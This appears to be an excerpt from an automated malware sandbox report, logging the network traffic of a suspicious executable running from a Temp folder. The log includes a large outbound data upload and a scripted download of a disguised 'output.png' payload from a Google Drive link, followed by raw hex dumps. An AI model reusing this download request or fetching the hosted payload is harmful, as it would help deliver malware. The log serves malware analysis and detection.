2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: f7 c5 5d af 8d f0 30 6f dc 88 8c 07 9e 98 b9 de d5 27 7d 7a bf ce ab cc 84 7c f3 3e 58 6d dd 65 62 db 2a 0a 11 52 1d 73 59 f9 2d cd 6c af 0a 5a 44 02 3d 6e 11 26 80 00 f7 9d 1b 7e be 3b ba 24 2d 1b b5 f9 b3 8d c6 f4 a8 e0 50 7d 44 ec 2d b1 0f 49 26 1e 74 90 e4 f3 75 51 a0 cb 7b 70 15 4d f7 fa 2b 43 2f 42 75 f5 04 67 3d af a6 a5 c8 66 07 f6 ae 72 bd 7d c1 67 51 17 35 b5 9c a9 ca 3f 01 a4 94 f0 dc a5 5c 72 4d 53 8e 8e 79 11 01 20 38 3c 38 76 fb 84 44 ec 33 8a 35 37 4a 01 3f f6 db 1a bf 13 97 c0 e5 51 86 ae 32 85 ad 9d ab 50 70 2d 1a ae d8 d9 b1 89 1a f9 95 b9 44 c9 6a b8 2e ed f3 4e 99 a2 96 59 cc f0 e0 86 52 fe f5 d8 cc 78 1a 26 d4 4c 4a 91 4e aa 21 fa b0 6b 2d fa 0d cc 3f c5 55 e7 f6 4d 9d c6 67 bf fb bf 22 9b c4 c7 3a f2 7f 95 76 9d 1d b8 d8 9b 9c 14 07 Data Ascii: ]0o'}z\|>Xmeb*RsY-lZD=n&~;$-P}D-I&tuQ{pM+C/Bug=fr}gQ5?\rMSy 8<8vD357J?Q2Pp-Dj.NYRx&LJN!k-?UMg":v
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: a5 28 9c cb 8a ab 05 aa e0 37 c6 75 82 1b b5 a5 ef 35 54 f6 0b bd c7 0c 31 b6 f2 8b 33 ee f7 bc 80 4b a9 17 f3 e1 de e0 f1 99 44 37 99 c3 c9 8e dc 49 94 e1 cd 12 0c 3c cd 0c f4 d4 cf 09 68 3b aa bd 70 02 a8 50 61 e5 8a 42 b5 5e 11 43 9a 9b b2 4e ef 38 aa 7c a6 59 fb 65 91 cb 55 63 bf bc f2 a3 65 bb c5 d7 32 6f 7e 76 4f 5a 07 8b bf 6d 95 37 59 7a 83 5a ac cc 67 15 db 76 41 fd 0b bb 7d 44 e2 17 14 dc ce 0d 6e d1 d3 52 44 9d 9f 34 f3 61 b8 4f bb e4 3f e4 a9 2d 78 5a 35 8d 71 22 e7 6a e7 e3 39 e7 1f 4c af 6c 14 f7 c3 00 ee 76 95 2d c5 79 54 e1 f3 ed a3 08 10 99 1f a3 78 15 e1 63 3c 20 90 0a 23 81 df 54 eb cc 95 8a 66 90 ac 08 2c 39 71 51 00 fc 48 27 b3 a1 78 39 c0 ba aa aa 87 25 62 3f e9 f9 b7 50 be 68 28 e3 1b 0a 4e d1 40 f4 20 92 2b f7 dc 96 5c ec 69 90 f5 Data Ascii: (7u5T13KD7I<h;pPaB^CN8\|YeUce2o~vOZm7YzZgvA}DnRD4aO?-xZ5q"j9Llv-yTxc< #Tf,9qQH'x9%b?Ph(N@ +\i
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: c9 4a fe 7c 00 0a df ad d6 7b 73 e6 e3 da cb 29 ad d2 b3 02 e0 a3 85 f5 9c 18 b9 a8 b1 b2 42 f6 f2 d0 9b b4 16 03 01 68 fe 42 6e 06 b0 56 26 26 07 4f 22 6e 64 75 7c 3c cf 9b 21 de 61 51 e5 48 37 c5 46 ca 74 b8 19 ae c5 61 89 91 f0 e4 62 de cf 2a 3c ef 63 e9 05 59 61 e8 d0 f5 e9 1d 75 7b 47 f8 8b b9 d2 13 bb 30 ad 3b 08 9b 42 0a 74 59 09 1e ed 9d bd 2a cc a5 99 72 d4 c6 c1 0d 4f 05 1a 7e 56 7a ad ed b3 f0 14 21 ff 21 19 0b 4f 2a 8e b0 c9 4f ef ab 6a ec 24 62 08 b6 89 1e 95 8a 14 17 1c e7 aa 7c 67 76 cb e0 b1 8e d4 00 4c b7 c3 fe a4 d0 f2 4e 95 58 96 e8 6c cb 56 5d c8 14 61 5a 06 f4 07 f6 78 0b 81 eb 3d c5 7b 36 4e 8d b9 3e 9e bc 96 a1 34 70 33 47 6c 76 6d b6 4f 4e c1 34 54 7f 63 21 2e fc 60 71 94 12 77 d9 f5 68 4e 48 f5 ad d3 5b 2a 56 af 36 32 c2 91 6a 5a Data Ascii: J\|{s)BhBnV&&O"ndu\|<!aQH7Ftab<cYau{G0;BtYrO~Vz!!OOj$b\|gvLNXlV]aZx={6N>4p3GlvmON4Tc!.`qwhNH[V62jZ
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: c9 5b 54 17 a3 e5 96 52 b2 21 2e e4 04 62 82 8a 33 f6 99 f7 0e 7b a8 e5 23 a1 70 ae 50 5a 4e 49 93 20 96 79 ec 0b 11 72 bd 76 94 38 cc d8 9b 16 13 50 43 3f 94 ed 39 b6 be 57 de 56 2a 35 79 c2 63 8c f3 2e a4 c9 10 3f d3 60 96 b5 34 66 db bf 94 37 df 78 5d a9 ec e7 d6 fd 88 eb 71 94 4f fb f6 91 a2 60 10 14 19 aa c1 a7 fc 5a 6e a5 59 d4 9e 61 5a 7b e7 50 c9 07 4a 8e 00 b1 fb ac 9b 51 90 6f 28 44 84 e5 ce 05 79 84 19 89 29 cb 67 07 37 ba a5 d1 2b 5f 97 18 24 fc cd 99 be 0b 60 7f e8 36 2e 26 55 8a 4c 0c 18 fd a2 13 44 c9 30 1c 99 c6 4d 80 52 a7 49 8a 81 3a 43 63 7a 22 af 6f a9 42 4c 9c 26 e3 a6 f0 b2 88 00 bd 40 99 d0 75 a6 63 f5 c0 6b 7e c2 d8 ca 5a 3a 2b ef 0c c9 b5 e3 46 fb 6c 97 4e d2 89 7a aa c7 90 51 db a9 d1 8d 4c ae f3 fa 4a 9a 4a c5 d3 9f 6b 68 46 b5 Data Ascii: [TR!.b3{#pPZNI yrv8PC?9WV*5yc.?`4f7x]qO`ZnYaZ{PJQo(Dy)g7+_$`6.&ULD0MRI:Ccz"oBL&@uck~Z:+FlNzQLJJkhF
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: 72 8f e8 27 90 5e 86 10 e4 60 05 96 45 9c a3 22 fd 51 a1 45 b2 56 af f5 d0 52 dc d7 20 bd 55 ea 34 59 b6 ed 97 5d 9c 7c 3f bb e7 04 1c 2c c4 91 94 f8 23 37 b9 e4 1c 1c 36 89 86 57 06 fe 67 19 77 83 9d 5a d5 1f ad ee 66 69 83 64 45 fc ff 6b 24 2b 2d e9 ce 52 e0 ac 74 d5 f9 78 6f 05 b1 ed 6a 6f 6c 50 05 48 41 e4 a8 98 e2 b9 3e 3b 8a 88 d6 90 38 99 41 ff e5 18 61 9c 1f 90 c4 33 fe 36 92 8c ac 69 11 94 95 f4 c0 0a fd 14 0e d6 b6 12 1f d4 dd 3b 28 a9 2b 96 3e df 17 f9 7c bc be eb 89 1a e5 ae 1a 7d 0b 06 e8 1d c3 80 ec 8f 8c 8f f4 ea 24 01 30 60 5e 39 6d 68 6b e5 2f f4 17 3b 8c ba 08 81 95 31 84 c6 3d 28 50 01 77 bc 94 2b 14 9c f6 8f 25 29 65 0b b6 a6 2f 0b c4 7b 22 a8 a5 c2 f9 26 7f 36 6c 24 56 c5 51 12 5c ff bf 9d 16 0b 9d 11 5a 0f 7a 73 4e 41 48 0f 71 4a 8f Data Ascii: r'^`E"QEVR U4Y]\|?,#76WgwZfidEk$+-RtxojolPHA>;8Aa36i;(+>\|}$0`^9mhk/;1=(Pw+%)e/{"&6l$VQ\ZzsNAHqJ
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: 3f 1a 67 8a b6 c7 91 e2 81 9d 7b 29 ca 5f 08 f5 21 22 ef a8 c9 8b 9b fc b9 b0 be a8 41 52 3c 78 c3 46 0c 25 05 6e ee 20 4b 8b ba cc bc a3 54 2b dd 3c 04 fd d1 15 3b 8a bd e2 81 94 f8 73 46 ac aa 32 bf 21 90 22 3d b2 0d 9c 7e db 1c 47 6e 2f 02 8d 6c 13 72 04 58 91 5c 1a 4d a5 c4 cf 48 4b 5b c0 b7 ba 21 1b 7b 02 39 ed 81 84 6f e5 a8 51 85 de 01 e4 62 ea 2f d5 03 02 39 7a 48 f7 73 36 ff 54 24 b4 12 2b 31 9f df 2b 53 7c c1 6d 03 fd 99 7c 7f 71 69 cf 8b 89 a2 b5 21 09 f3 bf d9 58 19 ef 7a 7d a9 45 34 f6 b3 ae 5b 19 ba eb fb a1 c6 e1 6c 6a 4c 2b d1 c2 64 c8 be 37 eb 91 db 03 51 5f d1 11 41 3b 3b 40 18 0a e5 3b 9d fd d3 3c 67 93 43 8c ac 3d f5 e1 a6 4d a7 40 d3 bf 38 eb 30 08 dc 12 98 09 ba bc cf e0 09 7c 1a f0 4e 1e a3 3b f9 bc 9c 4f 0b fc e4 eb c1 f1 69 4d 59 Data Ascii: ?g{)_!"AR<xF%n KT+<;sF2!"=~Gn/lrX\MHK[!{9oQb/9zHs6T$+1+S\|m\|qi!Xz}E4[ljL+d7Q_A;;@;<gC=M@80\|N;OiMY
2024-12-21 17:16:35 UTC	1134	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3t64l8vt993v774iiicu3q8ndk; expires=Wed, 16 Apr 2025 11:03:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ak4kv93cG48AHy3jFq6fiSD5WH%2BdyUI1v1xCtroNVT9J0l1caLD%2B88AzooGHWeNCJOU2ChyyAgEOrkfUBB2l5F8iujDj6qwnBXMAipU9LE7e%2BekaZ2XW55C69CIOCOrO1zLt7Bo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f598545aabbf799-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1486&rtt_var=562&sent=210&recv=571&lost=0&retrans=0&sent_bytes=2842&recv_bytes=552496&delivery_rate=1940199&cwnd=92&unsent_bytes=0&cid=7bdff74c7a37c470&ts=2371&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49827	172.217.17.46	443	7252	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:33 UTC	150	OUT	GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1 User-Agent: FileDownloader Host: drive.google.com Cache-Control: no-cache
2024-12-21 17:16:34 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 21 Dec 2024 17:16:34 GMT Location: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-dEtFSQ43R736JlFjilsU9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49834	172.217.17.65	443	7232	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:35 UTC	192	OUT	GET /download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1 User-Agent: FileDownloader Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-21 17:16:37 UTC	4911	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC7kNUi3oIp25ED9i6KYeA0MxlnedxLHEnus3O38L7sJEckbEe5gA_WFl37Z2Tv7C50 Content-Type: image/png Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="output.png" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 156917 Last-Modified: Mon, 11 Nov 2024 02:30:33 GMT Date: Sat, 21 Dec 2024 17:16:37 GMT Expires: Sat, 21 Dec 2024 17:16:37 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=h6mvlQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-21 17:16:37 UTC	4911	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b6 00 00 01 b6 08 06 00 00 00 13 09 a3 70 00 00 80 00 49 44 41 54 78 9c ec dd 07 7c 14 65 fa 07 f0 df 33 9b 0a 09 bd 9d 15 44 20 64 77 36 80 d8 d0 53 9a dc 59 00 5b d6 ce a9 e7 e9 9d 05 b0 23 2a 4c c0 82 67 c5 72 96 bb bf 9e e8 a9 24 58 41 3d 95 66 c3 16 85 ec ec 12 8a 8a 9e 05 0b 9d 00 29 bb f3 fc 3f bb 49 ee 28 d9 64 76 b3 33 ef 6c f6 fd 7e 3e 7e 3e b2 bb 33 ef 93 64 77 9f 79 cb 3c 6f 06 24 49 b2 ce a8 d3 ba 82 c2 c7 2b 8c 61 0c 14 02 74 08 08 3d c0 68 0f 80 40 a8 02 d3 06 10 af 23 c6 2a 03 fc 11 80 25 58 f4 da cf a2 43 97 a4 54 45 a2 03 90 a4 36 67 cc 98 f6 08 e5 fa 88 30 01 c0 71 00 94 04 ce f2 11 13 3d 03 64 3e 87 85 65 5b 2d 88 52 92 da 2c 99 d8 24 29 59 4e 3c b1 03 ea 32 27 12 d3 24 00 dd 92 Data Ascii: PNGIHDRpIDATx\|e3D dw6SY[#Lgr$XA=f)?I(dv3l~>~>3dwy<o$I+at=h@#%XCTE6g0q=d>e[-R,$)YN<2'$
2024-12-21 17:16:37 UTC	4876	IN	Data Raw: 9e 48 52 6b b8 8f 6d b0 aa aa 13 4c 25 b5 58 26 5c bf 63 68 76 d7 cd 7b 27 b5 86 36 04 d4 e8 92 a4 ff 71 b9 5c 31 df 83 59 59 59 09 ed b7 e6 76 bb ab 54 55 d5 5c 2e 97 4a f1 d7 58 ed 07 60 7e 43 79 ae c2 44 da 97 12 27 13 9b 43 31 33 05 02 81 09 86 61 7c 19 b9 02 8c e3 8a b1 d1 97 cc ec f3 7a bd a3 54 55 4d ca 0e c1 2e 97 ab c9 2f 08 22 11 c5 27 25 e9 7f 9a 9b 63 ab ae ae 6e d5 46 a2 85 85 85 6b 3d 1e 8f cf 30 8c d1 09 ec 8e d1 58 9e 6b 76 79 79 79 c7 d6 c4 21 99 27 13 9b 03 05 02 81 c3 03 81 c0 32 66 7e 3a c1 31 fe 92 9c 9c 1c 8f d7 eb 4d 6a 25 ff 70 38 dc e4 17 84 ec b1 49 a2 35 d7 63 cb cd cd 4d ca 0e d9 45 45 45 8b 36 6c d8 30 84 99 2f 03 f0 6b 1c 87 66 02 98 98 9d 9d fd 95 ae eb 93 4a 4b 4b e5 e7 c5 62 32 b1 39 c8 aa 55 ab f6 6b 28 83 f5 09 80 a3 e2 Data Ascii: HRkmL%X&\chv{'6q\1YYYvTU\.JX`~CyD'C13a\|zTUM./"'%cnFk=0Xkvyyy!'2f~:1Mj%p8I5cMEEE6l0/kfJKKb29Uk(
2024-12-21 17:16:37 UTC	1323	IN	Data Raw: 20 10 18 bb 71 7b d5 a3 7f 7f 7b e9 fe cf bf ff 31 0c 13 c3 93 5d 3b e4 1b 63 06 b9 9f ef cf 35 17 6a 9a e6 8c 25 e4 a3 c6 17 82 30 48 61 2e 00 63 00 13 f6 03 a8 3d c0 1d 81 68 45 ff 1a 10 aa 86 f4 39 b8 5f df 5e 3d 3a 1c dc a3 1b 0e e9 d9 1d 45 bd 0f 42 7e 6e 4e a4 c7 36 d3 e3 f1 d8 ba 22 4f b8 52 2d 0b c0 53 00 9d 2b a0 f5 1d 60 f6 e1 2c ed 0d 01 6d ff 57 ea 24 b6 46 a5 33 fb 80 8d 1b 41 f8 03 80 9c 24 9c 31 08 c2 9d e0 81 2f a4 fb cd d7 66 04 02 81 a7 98 f9 c2 bd 1f 67 e6 81 5e af d7 f6 b1 f4 78 24 38 ec b8 25 72 2d bc 61 c3 86 47 46 8c 18 e1 8c 2f 7b 93 2a 2a 2a da 2b 8a 72 7d e0 bb 1f a6 ce 7a 71 41 a6 ff 1b 73 53 a0 9e 83 f6 af 3a a1 c8 f3 97 fb 26 5f fe ac e5 41 ee 6d ec d8 76 d8 49 a7 29 84 93 99 69 04 80 5e 89 9c 46 21 c2 c0 03 f6 43 f7 8e 79 1f Data Ascii: q{{1];c5j%0Ha.c=hE9_^=:EB~nN6"OR-S+`,mW$F3A$1/fg^x$8%r-aGF/{***+r}zqAsS:&_AmvI)i^F!Cy
2024-12-21 17:16:37 UTC	1390	IN	Data Raw: 38 fa d4 e1 44 ca 62 27 27 35 d4 6f 18 76 3e 6d aa 7b 13 27 9e d8 41 74 2c 52 eb a4 65 62 4b ab 6a 04 49 16 eb a2 40 51 14 5b 13 5b 45 45 c5 90 40 20 b0 ac 61 4b 19 b3 73 69 5f 30 73 a4 67 39 21 5d e6 d2 e2 e1 76 bb bf 54 55 f5 94 11 ea c0 71 2f df 34 e9 1b 33 7b bf ed aa ad c5 cb 1f 97 7b a7 fc df f3 df 4c 7b ec c9 07 96 2c 59 b2 67 f1 84 d1 e3 4e 26 e6 7f 03 e8 68 71 f8 49 c2 23 a9 36 eb 1d 99 dc 52 5b 5a 26 36 d9 63 4b 9c e8 1e 9b df ef ef ac eb fa 6c 45 51 3e 8d 63 2e 6d 33 80 c9 95 95 95 47 78 bd de 8f 2c 0e 31 e5 79 3c 9e f9 a1 ea ea c2 cb 7f 3f b2 64 de f5 57 d4 1c ef 1e d0 e2 31 5f ae ff d9 75 db bc d7 26 dd 31 ff ed 5f 1e 2d 7b e9 94 e8 83 23 c6 1f 49 4c 73 01 a4 da 3e 70 47 50 6d d6 ab 38 f1 c4 54 8b 5b 6a 60 45 69 2a c7 93 3d b6 c4 45 2e 0a 9a Data Ascii: 8Db''5ov>m{'At,RebKjI@Q[[EE@ aKsi_0sg9!]vTUq/43{{L{,YgN&hqI#6R[Z&6cKlEQ>c.m3Gx,1y<?dW1_u&1_-{#ILs>pGPm8T[j`Ei*=E.
2024-12-21 17:16:38 UTC	1390	IN	Data Raw: ed 76 1f 2f 93 5a ea 61 d0 6f 45 c7 20 04 e3 38 d1 21 48 b1 a5 65 62 4b eb ca 23 44 97 88 f8 bb bf ba f5 3f 30 f6 dc ee 26 c4 cc f7 e7 e4 e4 0c f0 78 3c 73 88 28 0d 2f fc 53 5c fd ea c0 be a2 c3 10 41 01 62 de ce 22 89 97 96 43 91 69 dd 63 63 9c 26 a2 d9 f5 75 3b b1 b2 7a 0b 3c b9 9d 23 ff 5c 6a 18 c6 55 45 45 45 01 11 b1 48 49 b2 a1 ba 1f 6c de 39 dd 29 98 94 96 77 5f 95 84 49 cb c4 96 b6 3d b6 17 6f 3b 18 e1 70 6f 51 cd 2f db f9 f3 36 b5 5d 97 ab dc 6e f7 33 b2 87 d6 06 b8 70 68 fa 6e c1 c9 fd 44 47 20 c5 96 96 43 91 69 db 63 0b 87 3d 22 9b 7f fc d7 55 af cb 61 c7 36 c4 50 ba 88 0e 41 a0 74 fe d9 1d 2f 2d 13 5b da f6 d8 80 83 44 36 5e cb c6 7e 22 db 97 92 8c 90 2f 3a 04 81 da a1 b8 38 2d 87 61 53 41 5a 26 b6 b4 ed b1 11 89 fe 22 6a 7d 2d 4a c9 49 f2 44 Data Ascii: v/ZaoE 8!HebK#D?0&x<s(/S\Ab"Cicc&u;z<#\jUEEEHIl9)w_I=o;poQ/6]n3phnDG Cic="Ua6PAt/-[D6^~"/:8-aSAZ&"j}-JID
2024-12-21 17:16:38 UTC	1390	IN	Data Raw: 8e ca 11 fc 7e ff 68 8a f4 2a e3 1f 92 dd c0 cc f7 b8 5c ae fb dd 6e 77 6d b3 af 9c 37 b3 1f 98 4f 06 f3 71 00 0a 33 48 39 28 c4 46 6e b6 e2 42 47 25 13 bd b3 f3 a1 e6 74 46 2e 65 dc f9 f0 7b c1 5b ea 6f d6 8d 4f 30 18 1c 69 18 c6 7d 00 8a 4c bc 3c 72 fe 7f 19 86 71 9d 9c 7f 73 a8 91 a7 5e 40 c4 73 44 87 61 85 1e 9d 3a 18 af dd 34 59 d9 ab b7 d6 94 85 8a a2 5c ef 76 bb 57 d8 13 99 35 64 62 4b a6 25 5a 06 36 d0 6d 60 dc e0 b0 d8 be 03 f1 d9 a2 7b 6f c1 60 f0 08 c3 30 ee 02 30 3c ce 43 77 12 d1 43 d9 d9 d9 77 f4 eb d7 2f a1 aa 23 81 40 60 02 33 3f dd c4 53 13 54 55 7d 26 91 73 62 cf f9 b7 bf 02 e8 69 e2 90 2d cc 3c ab ad ce 6d a4 ba 4e e3 ce 29 df ba 63 e7 61 a2 e3 48 b6 03 ba 77 bd e8 cd 5b ae 29 60 e6 ab 4d 8c 20 19 44 f4 62 38 1c be b1 a8 a8 28 25 cb c8 Data Ascii: ~h*\nwm7Oq3H9(FnBG%tF.e{[oO0i}L<rqs^@sDa:4Y\vW5dbK%Z6m`{o`00<CwCw/#@`3?STU}&sbi-<mN)caHw[)`M Db8(%
2024-12-21 17:16:38 UTC	1390	IN	Data Raw: 11 5d e7 f1 78 2a 12 0b 33 71 4e 4a 6c d8 f3 fe b7 bb 00 34 b9 2f ce 5e 22 1f c6 7b f2 f2 f2 66 f5 e9 d3 a7 3a e9 01 cd d3 0a 60 28 8f 00 3c 32 e9 e7 ae f7 31 14 ba dc 8e 1e 1c 33 93 ae eb 67 2a 8a f2 57 66 ee 6d e2 90 3a 00 8f d6 d4 d4 4c 8b 39 7a 70 e2 89 1d a8 2e eb 19 30 c6 25 3d e0 e4 d8 c9 e0 cb b0 e8 b5 a4 57 ee 0f 04 02 87 37 bc 4f cd 5c ec 54 01 b8 77 fb f6 ed 77 0d 1b 36 6c 57 b2 63 31 4b 26 b6 78 2c d1 32 f0 2b 95 9b ac 34 91 5a 18 e7 c6 aa 91 88 fa f9 89 bc 70 38 7c 05 11 45 7a aa f9 71 9e fd f3 86 1e 87 b0 72 3d 4e 4b 6c 8d 12 98 7f fb 8e 88 6e 71 bb dd cf 50 32 7a 40 d1 32 64 33 af 07 f3 4c 1b 4a bf 85 41 7c 17 ba 61 3a 46 68 21 2b 1a 68 28 02 70 3f 80 61 26 0f 59 00 60 b2 aa aa 5f 99 78 2d 61 d4 b8 89 04 fa ab a0 32 79 4d 63 ac 62 05 3e 2c Data Ascii: ]x3qNJl4/^"{f:`(<213gWfm:L9zp.0%=W7O\Tww6lWc1K&x,2+4Zp8\|Ezqr=NKlnqP2z@2d3LJA\|a:Fh!+h(p?a&Y`_x-a2yMcb>,
2024-12-21 17:16:38 UTC	1390	IN	Data Raw: b3 0c c3 f8 4b c3 76 40 66 4a 3c 59 33 8f 66 b1 55 ab 56 ed b7 69 db f6 1f 8e b9 e9 b6 7d 9e cb ca 70 7d 53 f3 d6 4b 29 57 d2 0b 7b ee 92 3f cb 64 e9 c1 55 0d c3 93 ff db 19 bf 74 c6 61 00 47 7a dc ed 2c 0e f7 13 6c ee f5 5b 5c 76 59 9d c5 ed 98 62 fd 4d d2 75 a1 51 e9 94 d4 22 96 55 35 b9 0a 7b 33 33 4f d9 be 7d 7b 7f af d7 fb 44 2a 25 b5 b6 24 f2 81 f7 7a bd 65 35 35 35 85 91 bf 47 c3 0d b1 cd 69 0f 60 7a be c2 6b 1c 9c d4 10 fd e2 0a 85 fe 5b b7 34 10 08 8c 35 0c a3 12 c0 03 26 93 da 02 c3 30 0a 54 55 9d 94 4a 49 ad 25 6c 38 6e 6f 47 d3 88 c8 88 bc 57 15 45 19 c8 cc 97 01 f8 b5 85 43 0a 88 a8 34 10 08 2c ab a8 a8 f8 2d 4a ef cb 05 b8 d4 86 a4 16 71 24 3a fd 74 8d 0d ed 98 62 7d 62 53 8c 64 95 16 4a 19 eb 6a b7 e3 97 d0 7f 17 d7 d5 11 d1 13 91 2f 0d af Data Ascii: Kv@fJ<Y3fUVi}p}SK)W{?dUtaGz,l[\vYbMuQ"U5{33O}{D*%$ze555Gi`zk[45&0TUJI%l8noGWEC4,-Jq$:tb}bSdJj/
2024-12-21 17:16:38 UTC	1390	IN	Data Raw: ec b9 9a a1 e8 d6 fb e9 e2 5b f8 a6 a7 65 25 f5 36 c9 37 65 2b 88 e7 8b 0e c3 3c 7a 17 be 5b e5 fc 5a 23 4a e3 1e 5b 23 9f 36 1d e0 87 2d 3a fb 66 80 4f c6 99 b7 ae b5 e8 fc 09 b1 e7 8f ce c6 4b f5 bf 80 74 40 4f 82 c8 8e ae bf 64 17 c6 bd a2 43 30 8d f9 3e d1 21 38 4c fa ce b1 ed ce a7 5d 05 a6 9b 93 3c 2d f4 15 14 fa 2d 7c da a7 49 3c 67 52 d8 93 d8 7c 5a 15 08 56 5d 31 38 c9 0e 84 8c bf 89 0e 42 4a b2 e8 07 37 25 e6 da 56 c0 37 6d 81 e8 20 1c 25 cd b6 ad 69 d6 59 d3 ee 00 f1 68 00 5f b6 f2 4c 0c c6 53 a8 e5 21 38 73 5a 30 49 d1 25 95 7d dd 74 e6 07 c4 dc 57 61 a3 48 f2 3e 57 13 b9 75 ad 64 15 c3 b8 1a 80 c3 57 1a f2 b5 72 b4 60 4f 9c 26 1b 8d 9a 56 ac 2d c5 0e 56 c1 b8 06 c0 0f f1 1c 1a b9 42 c8 20 d7 3b 30 78 18 ce 9a 7e 31 ce d7 1c 5b 0f d7 be 3f ba Data Ascii: [e%67e+<z[Z#J[#6-:fOKt@OdC0>!8L]<--\|I<gR\|ZV]18BJ7%V7m %iYh_LS!8sZ0I%}tWaH>WudWr`O&V-VB ;0x~1[?
2024-12-21 17:16:38 UTC	1390	IN	Data Raw: 1b 5a 86 bb fe b5 84 10 b1 ac aa 52 ee d8 e2 4c f4 25 b6 9f 3b 3e b5 7a c9 cf db 1a 7d a2 aa 5f 02 b8 a4 91 33 f8 d1 4b af 59 6f 5c 80 42 08 53 25 27 c9 1d 5b 9c 89 fe c4 26 c2 e7 83 89 6d 91 58 75 29 98 2e fc e3 77 05 03 bb da 5a c1 4a 0a da 58 12 71 8e 2d 1d 99 49 6d 71 76 62 9a d9 51 8a 78 33 60 e8 79 00 2e 86 82 6e 0a 73 87 4b 1e 71 b6 fe 5d 2f 47 d3 c7 fb 6a 25 b1 c5 19 49 6c e2 a7 16 bc 6a c3 d1 c3 7f 04 f1 dd 40 75 5f 30 d5 95 71 5c 15 07 eb fe f9 b9 54 8b f5 65 e4 8c eb 06 9f e5 1f f8 c3 98 9d 66 84 2c e2 c0 95 43 4e 57 34 ba 97 81 3f 02 7c 5e dd d7 f8 78 3b a0 d2 63 15 f8 78 c5 d7 4d 9f 5b 5d 25 a5 c8 38 23 bf 70 71 1c 33 21 67 dc 9f 51 76 e8 3b 10 ff 0b c0 65 7a de 1f e5 be da 0e 00 46 c3 e2 fb 06 1f 3b 5f 47 8e 33 12 16 d5 